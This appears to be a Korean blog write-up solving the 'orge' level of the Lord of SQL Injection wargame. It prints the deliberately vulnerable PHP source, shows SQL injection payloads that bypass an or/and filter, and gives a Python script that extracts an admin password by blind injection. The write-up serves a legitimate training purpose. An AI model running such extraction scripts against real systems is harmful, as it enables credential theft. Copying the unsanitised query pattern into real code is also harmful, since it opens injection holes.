본문 바로가기
해킹/LoS(Lord of SQL Injection)

[Los] orge 풀이

by yenua 2022. 6. 12.
반응형

https://los.rubiya.kr/

 

Lord of SQLInjection

 

los.rubiya.kr

오거는 서양의 전설 혹은 신화에 등장하는 인간 형태를 한 괴물의 종류이다. - 위키백과

MySQL MariaDB에서 문자열 대소문자를 구분하지 않는다

los의 오우거를 처리해보자.

 

기본 쿼리문 및 소스코드는 아래와 같다. 

 

소스코드를 살펴보자.

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe"); 
  $query = "select id from prob_orge where id='guest' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
   
  $_GET[pw] = addslashes($_GET[pw]); 
  $query = "select pw from prob_orge where id='admin' and pw='{$_GET[pw]}'"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orge"); 
  highlight_file(__FILE__); 
?>

or 및 and가 필터링 되어있다. 하지만 그건 ||, && 연산자로 대체할 수 있다.

오크문제 때 처럼 이번에도 id 부분의 guest를 무시하도록 하고 admin에 대하여 정확한 pw를 입력해야 오우거를 처치할 수 있다.

 

오크 때와 비슷한 과정으로 비밀번호를 찾아보자.

1. 비밀번호 길이 찾기

pw: '||length(pw)=8--+

url: ?pw=%27||length(pw)=8--+

query : select id from prob_orge where id='guest' and pw=''||length(pw)=8-- '

비밀번호의 길이는 8이다.

2. 비밀번호 찾기

비밀번호를 한글자 씩 찾기 위해서는 아래처럼 입력하면 된다.

pw: '||id='admin'&&substring(pw,1,1)='1'-- 

url: ?pw=%27||id=%27admin%27&&substring(pw,1,1)=%271%27--+

query : select id from prob_orge where id='guest' and pw=''||id='admin'&&substring(pw,1,1)='1'-- '

 

사실 브라우저에서 위처럼 입력하면 && 다음이 또다른 파라미터로 인식되어서 쿼리문에 제대로 안들어간다. 파이썬을 통해서 파라미터 pw에 직접 넣어야 한다.  파이썬 코드는 아래와 같다.

import requests
import time

URL="https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php"

params = {'pw':''}

cookie={
    "PHPSESSID":"hfq78ei0h9rmlo9jl10lkb7kd3"
    }

password = ''
start = time.time()
for i in range(8):
    print(i, end=' ')
    for j in range(32, 127):
        params['pw'] = "'||id='admin'&&substring(pw,{},1)='{}'-- ".format(i+1, chr(j))
        res = requests.get(URL, params=params, cookies=cookie)
        #print(i, j, res.text)
        if "Hello admin" in res.text:
            print("found!:{} : {}".format(i, chr(j)))
            print(res.text)
            password += chr(j)
            break

print(password)
end = time.time()
print(end - start)

7B751AEC가 나왔다! 저번에도 이렇게 대문자로 나왔었는데, break문을 없애면 소문자까지 같이 나온다...

 

MySQL MariaDB에서 문자열 대소문자를 구분하지 않는다!

위 글에 따르면 mysql 및 mariaDB에서는 대소문자를 구분하지 않아서 그렇다고 하는데, 비밀번호 입력은 왜 꼭 소문자로 해야 하는거지..

 

+)쿼리문에서는 대소문자를 구분하지 않는다. 따라서 우리가 파이썬으로 넘긴 pw 값에서는 b든 B든 DB에 있는 b와 같은 것으로 보고 hello admin을 출력해주게 된다.

그러나 문제 통과에 대한 조건문은 쿼리문 안이 아닌 php 코드에서 이루어진다.

$result['pw'] == $_GET['pw']

이 부분을 통해 따로 문자열을 꺼내서 비교하기 때문에 대소문자 구분을 철저히 따지게 되는 것 같다.

위 블로그에서 사용한 BINARY 함수를 사용하던가, 다른 write-up들에서 사용한 ascii나 ord 같은 함수를 이용해서 대소문자 구분이 적용되도록 해야 정확한 비밀번호를 얻을 수 있을 것 같다.

 

문제를 통과하려면 아래와 같이 입력하면 된다.

pw: 7b751aec

url: ?pw=7b751aec

반응형

'해킹 > LoS(Lord of SQL Injection)' 카테고리의 다른 글

[Los] vampire 풀이  (0) 2022.06.12
[Los] troll 풀이  (0) 2022.06.12
[Los] darkelf 풀이  (0) 2022.06.11
[Los] wolfman 풀이  (0) 2022.06.11
[Los] orc 풀이 (작성 중)  (0) 2022.06.10